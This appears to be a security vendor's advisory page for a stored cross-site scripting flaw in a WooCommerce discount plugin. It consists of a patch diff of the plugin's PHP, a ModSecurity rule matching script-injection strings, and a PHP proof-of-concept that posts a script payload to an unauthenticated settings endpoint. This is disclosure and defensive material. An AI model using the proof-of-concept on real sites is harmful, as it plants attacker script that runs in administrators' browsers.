+        * ver @ 4.3.3
+        * Tax Settings
+        */
+        $tax_display_mode   = get_option( 'woocommerce_tax_display_shop' );
+        $cartPrice          = $product->get_sale_price() ? $product->get_sale_price() : $product->get_price();
+        $priceIncTax        = ( 'incl' === $tax_display_mode ) ? wc_get_price_including_tax( $product, array ( 'price' => $cartPrice ) ) : wc_get_price_excluding_tax( $product, array ( 'price' => $cartPrice ) );
+
+        $price              = $priceIncTax ? $priceIncTax : $cartPrice;
+
+        if ( is_admin() )
+            return $price;
+
+        // Load discount rules
+        $this->load_rules();
+
+        // Check if discount is active
+        if ( $this->discount_rules == null )
+            return $price; // Exit if no rules
+
+        // Load Product List
+        $this->set_product_list();
+
+        $updatedPrice   = '';
+        $product_slug   = $product->get_data()['slug'];
+
+        $rules          = $this->discount_rules;
+        $prodLists      = $this->product_lists;
+        $variations     = $this->variations;
+        $cartRules      = $this->awdp_cart_rules;
+        $item_price     = $price;
+
+        // if( $this->converted_rate == '' && $item->get_ID() != '' ) {
+        //     $this->converted_rate = $this->get_con_unit($item, $price, true);
+        // }
+        $priceGroup = call_user_func_array (
+            array ( new AWDP_productGroup(), 'product_group' ),
+            array ( $rules, $price, $post_id, $product, $prodLists, $cartRules, $item_price )
+        );
+
+        if ( is_array ( $priceGroup ) ) {
+
+            return new WP_REST_Response($priceGroup, 200);
+
+        }
+
+        return $price;
+
+    }
+
+    // Adding WCPA Filed Value For Quantity Discount
+    public function wcpaQunantity_Discount() {
+
+        // Verify nonce to prevent CSRF on unauthenticated AJAX endpoint.
+        check_ajax_referer( 'awdpnonce', 'nonce' );
+
+        $itemCount          = isset( $_GET['proCount'] ) ? absint( $_GET['proCount'] ) : 1;
+        $this->load_rules();
+        $rules              = $this->discount_rules;
+        $result = ['fixed' => 0, 'percentage' => 0];
+        foreach ( $rules as $rule ) {
+            if ( $rule['type'] == 'cart_quantity') {
+                foreach ($rule['quantity_rules'] as $quantity_rule) {
+                   if($itemCount >= $quantity_rule['start_range'] && $itemCount <= $quantity_rule['end_range']) {
+                        if($quantity_rule['dis_type'] == 'percentage') {
+                            $value     = $quantity_rule['dis_value'] ? $quantity_rule['dis_value'] / 100 : 0;
+                            $result['fixed']      = 0;
+                            $result['percentage'] = round($value, 2);
+                        }  elseif ( $quantity_rule['dis_type'] == 'fixed' ) {
+                            $value    = $quantity_rule['dis_value'] ? $quantity_rule['dis_value'] : 0;
+                            $result['percentage'] = 0;
+                            $result['fixed']      = round($value, 2);
+                        }
+                   }
+
+                }
+            }
+        }
+        if ( is_array ( $result ) ) {
+            return json_encode($result);
+        }
+        return  $result;
+    }
+
+    // WCPA Discount Price For Frontend
+    public function wdpDynamicDiscount ()
+    {
+
+        // Verify nonce to prevent CSRF on unauthenticated AJAX endpoint.
+        check_ajax_referer( 'awdpnonce', 'nonce' );
+
+        $post_id            = isset( $_GET['prodID'] ) ? absint( $_GET['prodID'] ) : get_the_ID();
+        $variation_id       = isset( $_GET['varID'] ) ? absint( $_GET['varID'] ) : 0;
+        $itemCount          = isset( $_GET['proCount'] ) ? absint( $_GET['proCount'] ) : 1;
+        $product            = $variation_id ? wc_get_product ( $variation_id ) : wc_get_product ( $post_id );
+        if ( !$product ) return '';
+
+        update_option('itemCount', $itemCount);
+
+         /*
+        * ver @ 5.0.5
+        * Tax Settings
+        */
+        $tax_display_mode   = get_option( 'woocommerce_tax_display_shop' );
+        $pirce_include_tax  = get_option( 'woocommerce_prices_include_tax' );
+        $cartPrice          = $product->get_sale_price() ? $product->get_sale_price() : $product->get_price();
+
+        /*
+        * ver @ 5.0.9
+        * If more than 2 decimal points, round to 2 decimal points
+        */
+        $decimal_points     = get_option( 'woocommerce_price_num_decimals' ) ? get_option( 'woocommerce_price_num_decimals' ) : 2;
+        $priceIncTax        = ( ( strlen ( strrchr ( wc_get_price_including_tax ( $product, array ( 'price' => $cartPrice ) ), '.' ) ) -1 ) > 2 ) ? round ( wc_get_price_including_tax ( $product, array ( 'price' => $cartPrice ) ), 2 ) : wc_get_price_including_tax ( $product, array ( 'price' => $cartPrice ) );
+        $priceExcTax        = ( ( strlen ( strrchr ( wc_get_price_excluding_tax ( $product, array ( 'price' => $cartPrice ) ), '.' ) ) -1 ) > 2 ) ? round ( wc_get_price_excluding_tax ( $product, array ( 'price' => $cartPrice ) ), 2 ) : wc_get_price_excluding_tax ( $product, array ( 'price' => $cartPrice ) );
+
+        // $priceAfterTax      = ( 'incl' === $tax_display_mode ) ? wc_get_price_including_tax ( $product, array ( 'price' => $cartPrice ) ) : wc_get_price_excluding_tax ( $product, array ( 'price' => $cartPrice ) );
+        $priceAfterTax      = ( 'incl' === $tax_display_mode ) ? $priceIncTax : ( ( 'yes' === $pirce_include_tax && 'excl' === $tax_display_mode ) ? $priceExcTax : '' );
+
+        $price              = $priceAfterTax ? $priceAfterTax : $cartPrice;
+
+        // Load discount rules
+        $this->load_rules();
+
+        // Check if discount is active
+        if ( $this->discount_rules == null )
+            return $price; // Exit if no rules
+
+
+        // Load Product List
+        $this->set_product_list();
+
+        $updatedPrice       = '';
+        $product_slug       = $product->get_data()['slug'];
+        $rules              = $this->discount_rules;
+        $prodLists          = $this->product_lists;
+        $variations         = $this->variations;
+        $cartRules          = $this->awdp_cart_rules;
+        $item_price         = $price;
+
+        // if ( $discountedPrice ) {
+        //     $product_id     = $_REQUEST['product_id'];
+        // }
+        $priceGroup = call_user_func_array (
+            array ( new AWDP_productGroup(), 'product_price' ),
+            array ( $rules, $price, $post_id, $product, $prodLists, $cartRules, $item_price,$itemCount)
+        );
+
+        // if ( is_array ( $priceGroup ) ) {
+        //     return new WP_REST_Response($priceGroup, 200);
+        // }
+
+        if ( is_array ( $priceGroup ) ) {
+            return json_encode($priceGroup);
+        }
+        return  $price;
+
+    }
+
+    public function wcpaDiscount($response, $product)
+    {
+
+        $result = [];
+
+        if ( !$product ) return $response;
+
+        // Load discount rules
+        $this->load_rules();
+
+        // Check if discount is active
+        if ( $this->discount_rules == null ) return $response;
+
+        // Load Product List
+        $this->set_product_list();
+
+        $rules              = $this->discount_rules;
+        $prodLists          = $this->product_lists;
+        $variations         = $this->variations;
+        $cartRules          = $this->awdp_cart_rules;
+        // $item_price         = $price;
+
+        $wcpaDisc = call_user_func_array (
+            array ( new AWDP_productGroup(), 'wcpa_discount' ),
+            array ( $rules, $product )
+        );
+
+        if ( !empty ($wcpaDisc) ) {
+            // Considering only single discount value as multiple values / group currently not supported with WCPA
+            foreach ( $wcpaDisc as $disc ) {
+                if ( $disc['type']  == 'percentage' ) {
+                    $value                  = $disc['value'] ? $disc['value'] / 100 : 0;
+                    $result['fixed']        = 0;
+                    $result['percentage']   = $value;
+                } elseif ( $disc['type'] == 'fixed' ) {
+                    $value                  = $disc['value'] ? $disc['value'] : 0;
+                    $result['percentage']   = 0;
+                    $result['fixed']        = $value;
+                }
+            }
+        }
+
+        return !empty($result) ? $result : $response;
+
+    }
+
+    // WCPA Price
+    public function wdpWCPAPrice($default, $product) {
+
+        // Load discount rules
+        $this->load_rules();
+
+        // Check if discount is active
+        if ( $this->discount_rules == null )
+            return $default; // Exit if no rules
+
+        // Load Product List
+        $this->set_product_list();
+
+        if ( !$product ) return $default;
+
+        $updatedPrice       = '';
+        $result             = [];
+        $product_slug       = $product->get_data()['slug'];
+        $post_id            = $product->get_id();
+
+        /*
+        * ver @ 4.3.3
+        * Tax Settings
+        */
+        $tax_display_mode   = get_option( 'woocommerce_tax_display_shop' );
+        $cartPrice          = $product->get_sale_price() ? $product->get_sale_price() : $product->get_price();
+        $priceIncTax        = ( 'incl' === $tax_display_mode ) ? wc_get_price_including_tax( $product, array ( 'price' => $cartPrice ) ) : wc_get_price_excluding_tax( $product, array ( 'price' => $cartPrice ) );
+
+        $rules              = $this->discount_rules;
+        $price              = $priceIncTax ? $priceIncTax : $cartPrice;
+        $prodLists          = $this->product_lists;
+        $variations         = $this->variations;
+        $cartRules          = $this->awdp_cart_rules;
+        $item_price         = $price;
+
+        // Display regular price instead of sale price @ ver 4.3.3
+        $displayPrcIncTax   = ( 'incl' === $tax_display_mode ) ? wc_get_price_including_tax( $product, array('price' => $product->get_regular_price() ) ) : wc_get_price_excluding_tax( $product, array('price' => $product->get_regular_price() ) );
+        $addition_settings  = get_option('awdp_addition_settings') ? get_option('awdp_addition_settings') : [];
+        // $use_regular        = array_key_exists ( 'use_regular', $addition_settings ) ? $addition_settings['use_regular'] : false;
+        // $display_price      = $use_regular ? ( $displayPrcIncTax ? $displayPrcIncTax : $product->get_regular_price() ) : '';
+        // $display_price      = $displayPrcIncTax ? $displayPrcIncTax : $product->get_regular_price();
+        $display_price      = '';
+
+        $viewPrice = call_user_func_array (
+            array ( new AWDP_viewProductPrice(), 'product_price' ),
+            array ( $rules, $price, $post_id, $product, $prodLists, $cartRules, $item_price, $display_price )
+        );
+
+        $wcpaPrice = call_user_func_array (
+            array ( new AWDP_productGroup(), 'product_price' ),
+            array ( $rules, $price, $post_id, $product, $prodLists, $cartRules, $item_price)
+        );
+
+        if ( is_array ( $viewPrice ) || is_array ( $wcpaPrice ) ) {
+
+            // $updatedPrice   = $viewPrice['discountedPrice'];
+
+            $result['price']            =  $viewPrice['discountedPrice'] ?  $viewPrice['discountedPrice'] : $wcpaPrice['price'];
+            $result['originalPrice']    = $price;
+
+            return $result;
+
+        }
+
+        return $default;
+
+    }
+
+    // Cart Price View
+    public function cart_discount_items ( $item_price, $cart_item )
+    {
+
+        // Disable Discount if any other gets added to the cart
+        $disable_discount   = get_option('awdp_disable_discount') ? get_option('awdp_disable_discount') : '';
+        $coupon             = get_option('awdp_fee_label') ? get_option('awdp_fee_label') : 'Discount';
+        $coupon_code        = apply_filters('woocommerce_coupon_code', $coupon);
+        if ( $disable_discount && !empty ( WC()->cart->get_applied_coupons() ) && !in_array ( $coupon_code, WC()->cart->get_applied_coupons() ) ) {
+            return $item_price;
+        }
+
+        // Load discount rules
+        $this->load_rules();
+
+        // Check if discount is active
+        if ( $this->discount_rules == null )
+            return $item_price; // Exit if no rules
+
+        // Load Product List
+        $this->set_product_list();
+
+        $post_id        = $cart_item['product_id'];
+        $quantity       = $cart_item['quantity'];
+        $product        = wc_get_product( $post_id );
+
+        $rules          = $this->discount_rules;
+        // $price          = $product->get_sale_price() ? $product->get_sale_price() : $product->get_price(); // get cart price
+        // $price          = $cart_item['data']->get_price(); // get cart price
+
+        /*
+        * ver @ 4.3.3
+        * Tax Settings
+        */
+        $tax_display_mode   = get_option( 'woocommerce_tax_display_shop' );
+
+        $cartPrice          = $cart_item['data']->get_price();
+        // Checking for addons price
+        $addonPrice         = apply_filters('wcpa_cart_addon_data', false, $cart_item);
+        $dispPrice          = $addonPrice ? ( $addonPrice['totalPrice'] - $addonPrice['excludeFromDiscount'] ) : $cartPrice;
+
+        $priceIncTax        = ( 'incl' === $tax_display_mode ) ? wc_get_price_including_tax( $product, array ( 'price' => $cartPrice ) ) : wc_get_price_excluding_tax( $product, array ( 'price' => $cartPrice ) );
+
+        $price              = $priceIncTax ? $priceIncTax : $cartPrice; // commenting $discPrices - fix - cart price mismatch when multiples rules are applied
+
+        // $price          = '';
+        // $product_slug   = $product->get_data()['slug'];
+        $product_slug       = $cart_item['data']->get_slug();
+        $prodLists          = $this->product_lists;
+        $variations         = $this->variations;
+        $cartContents       = WC()->cart->get_cart();
+        // $couponStatus   = get_option('awdp_apply_coupon_discount') ? get_option('awdp_apply_coupon_discount') : false;
+        $couponStatus       = false;
+        // $disc_prod_ID   = $post_id;
+        $variationID        = $cart_item['variation_id'];
+        // $variations     = $cart_item['variation'];
+        $disc_prod_ID       = $variationID == 0 ? $post_id : $variationID;
+
+        // Changing Product Slug to cart key - addons compatibility
+        $cartKey            = $cart_item['key'];
+
+        // if( $this->converted_rate == '' && $item->get_ID() != '' ) {
+        //     $this->converted_rate = $this->get_con_unit($item, $price, true);
+        // }
+
+        /*
+        * ver @ 4.3.3
+        * Tax Settings
+        */
+        $priceIncTax        = ( 'incl' === $tax_display_mode ) ? wc_get_price_including_tax( $product ) : wc_get_price_excluding_tax( $product );
+
+        // Display regular price instead of sale price @ ver 4.3.3
+        $displayPrcIncTax   = ( 'incl' === $tax_display_mode ) ? wc_get_price_including_tax( $product, array('price' => $product->get_regular_price() ) ) : wc_get_price_excluding_tax( $product, array('price' => $product->get_regular_price() ) );
+        $addition_settings  = get_option('awdp_addition_settings') ? get_option('awdp_addition_settings') : [];
+        // $use_regular        = array_key_exists ( 'use_regular', $addition_settings ) ? $addition_settings['use_regular'] : false;
+        // $display_price      = $use_regular ? ( $displayPrcIncTax ? $displayPrcIncTax : $product->get_regular_price() ) : '';
+        // $display_price      = $displayPrcIncTax ? $displayPrcIncTax : $product->get_regular_price();
+        $display_price      = '';
+
+        foreach ( $this->discount_rules as $k => $rule ) {
+
+
+            // Disable Discount for Deposit Items
+            $depositCheck       = get_post_meta($rule['id'], 'deposit_check', true) ? get_post_meta($rule['id'], 'deposit_check', true) : 0;
+            if ( array_key_exists ( 'awcdp_deposit', $cart_item ) && $cart_item['awcdp_deposit'] && $depositCheck ) {
+                continue;
+            }
+
+            // Get Product List
+            if ( !$this->get_items_to_apply_discount ( $product, $rule, $disc_prod_ID, false, $product_slug ) ) {
+                continue;
+            }
+
+            // Check if User if Logged-In
+            if ( ( intval ( $rule['discount_reg_customers'] ) === 1 && !is_user_logged_in() ) || ( intval ( $rule['discount_reg_customers'] ) === 1 && is_user_logged_in() && ( !empty ( array_filter ( $rule['discount_reg_user_roles'] ) ) && empty ( array_intersect ( $rule['discount_cur_user_roles'], $rule['discount_reg_user_roles'] ) ) ) ) ) {
+                continue;
+            }
+
+            // Validate Rules
+            if( 'cart_quantity' != $rule['type'] ) { // Skipping cart_quantity rule //
+                if ( !$this->validate_discount_rules( $product, $rule, ['product_price','cart_total_amount', 'cart_total_amount_all_prods', 'cart_items', 'cart_items_all_prods', 'cart_products', 'cart_products_list'], $cart_item ) ) {
+                    continue;
+                }
+            }
+
+            // Discounts Default Values
+            if ( !isset ( $this->discounts[$rule['id']] ) ) {
+                $this->discounts[$rule['id']] = [ 'label' => $rule['label'], 'discount_type' => $rule['type'], 'discount_remainder' => -1, 'taxable' => false ];
+            }
+
+            /*
+            * Disable Double Discount
+            * @ver 4.1.6
+            * $product_slug added to awdp_discount_applied list is discount already applied
+            */
+            if ( array_key_exists ( 'discounts', $this->discounts[$rule['id']] ) && array_key_exists ( $cartKey, $this->discounts[$rule['id']]['discounts'] ) ) {
+                $this->awdp_discount_applied[] = $product_slug;
+                continue;
+            }
+
+            // Get Price
+            // if ( $couponStatus && array_key_exists ( $product_slug, $this->actual_price ) ) {
+            //     $price = $this->actual_price[$product_slug];
+            // } else {
+                // $price = !empty ($this->wdp_discounted_price) ? ( ( array_key_exists ( $cartKey, $this->wdp_discounted_price ) && $this->wdp_discounted_price[$cartKey] != '' ) ? wc_remove_number_precision ( $this->wdp_discounted_price[$cartKey] ) : $cart_item['data']->get_price() ) : $cart_item['data']->get_price();
+                $price = !empty ($this->wdp_discounted_price) ? ( ( array_key_exists ( $cartKey, $this->wdp_discounted_price ) && $this->wdp_discounted_price[$cartKey] != '' ) ? wc_remove_number_precision ( $this->wdp_discounted_price[$cartKey] ) : $cart_item['data']->get_price() ) : $cart_item['data']->get_price();
+            // }
+
+            $discVariable       = $this->discounts[$rule['id']];
+            $prodLists          = $this->product_lists;
+
+            // Discount Types
+            if ( 'percent_product_price' == $rule['type'] )
+                $result = call_user_func_array (
+                    array ( new AWDP_typeProductPrice(), 'apply_discount_percent_product_price' ),
+                    array ( $rule, $product, $price, $quantity, $discVariable, $cart_item, $disc_prod_ID, $prodLists, $dispPrice, $couponStatus )
+                );
+            else if ( 'fixed_product_price' == $rule['type'] )
+                $result = call_user_func_array (
+                    array ( new AWDP_typeProductPrice(), 'apply_discount_fixed_product_price' ),
+                    array ( $rule, $product, $price, $quantity, $discVariable, $cart_item, $disc_prod_ID, $prodLists, $dispPrice, $couponStatus )
+                );
+            else if ( 'percent_total_amount' == $rule['type'] )
+                $result = call_user_func_array (
+                    array ( new AWDP_typeTotalAmount(), 'apply_discount_percent_total_amount' ),
+                    array ( $rule, $product, $price, $quantity, $discVariable, $cart_item, $disc_prod_ID, $dispPrice, $couponStatus )
+                );
+            else if ( 'fixed_cart_amount' == $rule['type'] )
+                $result = call_user_func_array (
+                    array ( new AWDP_typeTotalAmount(), 'apply_discount_fixed_price_total_amount' ),
+                    array ( $rule, $product, $price, $quantity, $discVariable, $cart_item, $disc_prod_ID, $dispPrice, $couponStatus )
+                );
+            else if ( 'cart_quantity' == $rule['type'] )
+                $result = call_user_func_array (
+                    array ( new AWDP_typeCartQuantity(), 'apply_discount_cart_quantity' ),
+                    array ( $rule, $product, $price, $quantity, $discVariable, $prodLists, $cartContents, $cart_item, $disc_prod_ID, $dispPrice, $couponStatus )
+                );
+
+
+            if ( !empty($result) ) {
+                $this->discounts[$rule['id']]               = $result['productDiscount'];
+                $this->discounted_products[]                = $cartKey;
+                $this->wdp_discounted_price[$cartKey]  = array_key_exists ( 'discountedprice', $result ) ? $result['discountedprice'] : ( array_key_exists ( $cartKey, $this->wdp_discounted_price ) ? $this->wdp_discounted_price[$cartKey] : '' );
+            }
+
+        }
+
+        $activeDiscounts    = $this->discounts;
+
+        $viewPrice = call_user_func_array (
+            array ( new AWDP_viewCartPrice(), 'cart_price' ),
+            array ( $rules, $price, $cart_item, $prodLists, $item_price, $activeDiscounts, $product, $quantity, $display_price )
+        );
+
+        return $viewPrice;
+
+    }
+
+    // Sub Total Calculations
+    public function wdpCartLoop ( $wc, $cart_item, $cart_item_key )
+    {
+
+        // $couponStatus   = get_option('awdp_apply_coupon_discount') ? get_option('awdp_apply_coupon_discount') : false;
+
+        // if ( $couponStatus ) {
+        //     return $wc;
+        // }
+
+        // $wcpa_price         = preg_match('/<span class="wcpa_price">(.*?)</span>/s', $wc, $match);
+
+        $activeDiscounts    = $this->discounts;
+        // $variationDiscounts = $this->variationDiscounts;
+        $decimalPoints      = wc_get_price_decimals();
+        $product_id         = $cart_item['product_id'];
+        $product            = wc_get_product( $product_id );
+
+        /*
+        * ver @ 4.3.3
+        * Tax Settings
+        */
+        $tax_display_mode   = get_option( 'woocommerce_tax_display_shop' );
+
+        $cartPrice          = $cart_item['data']->get_price();
+        // Checking for addons price
+        $addonPrice         = apply_filters('wcpa_cart_addon_data', false, $cart_item);
+        $dispPrice          = $addonPrice ? ( $addonPrice['totalPrice'] - $addonPrice['excludeFromDiscount'] ) : $cartPrice;
+
+        $priceIncTax        = ( 'incl' === $tax_display_mode ) ? wc_get_price_including_tax( $product, array ( 'price' => $cartPrice ) ) : wc_get_price_excluding_tax( $product, array ( 'price' => $cartPrice ) );
+
+        $price              = $priceIncTax ? $priceIncTax : $cartPrice;
+        $quantity           = $cart_item['quantity'];
+        $discount           = 0;
+        $prod_ID            = $cart_item['data']->get_slug();
+        $cartKey            = $cart_item['key'];
+
+        // if ( $price > 0 ) {
+        //     if (WC()->cart->display_prices_including_tax()) {
+        //         $price = $this->wdp_price_including_tax ( $product, $price, array(
+        //             'qty' => $quantity,
+        //             'price' => $price,
+        //         ) );
+        //     } else {
+        //         $price = $this->wdp_price_excluding_tax ( $product, $price, array(
+        //             'qty' => $quantity,
+        //             'price' => $price
+        //         ) );
+        //     }
+        // }
+
+        if ( $activeDiscounts ) {
+
+            foreach ( $activeDiscounts as $discounts ) {
+                if ( array_key_exists ( 'discounts', $discounts ) ) {
+                    if ( array_key_exists ( $cartKey, $discounts['discounts'] ) && $discounts['discounts'][$cartKey]['discount'] != '' && ( $discounts['discounts'][$cartKey]["displayoncart"] != false ) ) {
+                        $discount += wc_remove_number_precision ( $discounts['discounts'][$cartKey]['discount'] );
+                    }
+                }
+            }
+
+            $discount           = ( 'incl' === $tax_display_mode ) ? round( wc_get_price_including_tax( $product, array ( 'price' => $discount ) ),$decimalPoints ) : round( wc_get_price_excluding_tax( $product, array ( 'price' => $discount ) ), $decimalPoints );
+            $discounted_price   = ( $price - $discount ) * $quantity;
+
+            $price              = round ( $discounted_price, $decimalPoints );
+
+            $product_subtotal   = wc_price ( $price );
+
+            if ( $product->is_taxable() && get_option('woocommerce_tax_display_cart') == 'incl' ) {
+                if( !wc_prices_include_tax() && WC()->cart->get_subtotal_tax() > 0 ) {
+                    $product_subtotal .= ' <small class="tax_label">' . WC()->countries->inc_tax_or_vat() . '</small>';
+                }
+            }
+
+            return $product_subtotal;
+
+        } else {
+
+            return $wc;
+
+        }
+
+    }
+
+    /

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-13725
SecRule REQUEST_URI "@streq /wp-json/awdp/v1/save-settings" 
  "id:20261372,phase:2,deny,status:403,chain,msg:'CVE-2026-13725 via Dynamic Pricing With Discount Rules for WooCommerce REST API',severity:'CRITICAL',tag:'CVE-2026-13725'"
  SecRule ARGS_POST:discount_message "@rx <script|javascript:|onerror|onload|eval(|alert(" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13725 - Dynamic Pricing With Discount Rules for WooCommerce < 5.0.0 - Unauthenticated Stored Cross-Site Scripting

// Configuration
$target_url = 'http://example.com'; // Change to your target WordPress site

// Malicious JavaScript payload
$payload = '<script>alert("XSS");</script>';

// Endpoint for saving plugin settings (unauthenticated)
$endpoint = '/wp-json/awdp/v1/save-settings';

// Build the POST data with malicious payload in the discount_message parameter
$post_data = array(
    'discount_message_status' => '1',
    'discount_message'        => $payload,
    'dismessage_fontsize'     => '14',
    'dismessage_paddding_lm'  => '10',
    'dismessage_paddding_tp'  => '10',
    'dismessage_radius'       => '5',
    'dismessage_background'   => '#ffffff',
    'dismessage_color'        => '#000000',
    'border_top_width'        => '1',
    'border_right_width'      => '1',
    'border_bottom_width'     => '1',
    'border_left_width'       => '1',
    'offer_border_color'      => '#cccccc'
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// The payload is now stored in the WordPress options table.
// It will execute when an admin visits the plugin settings page.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.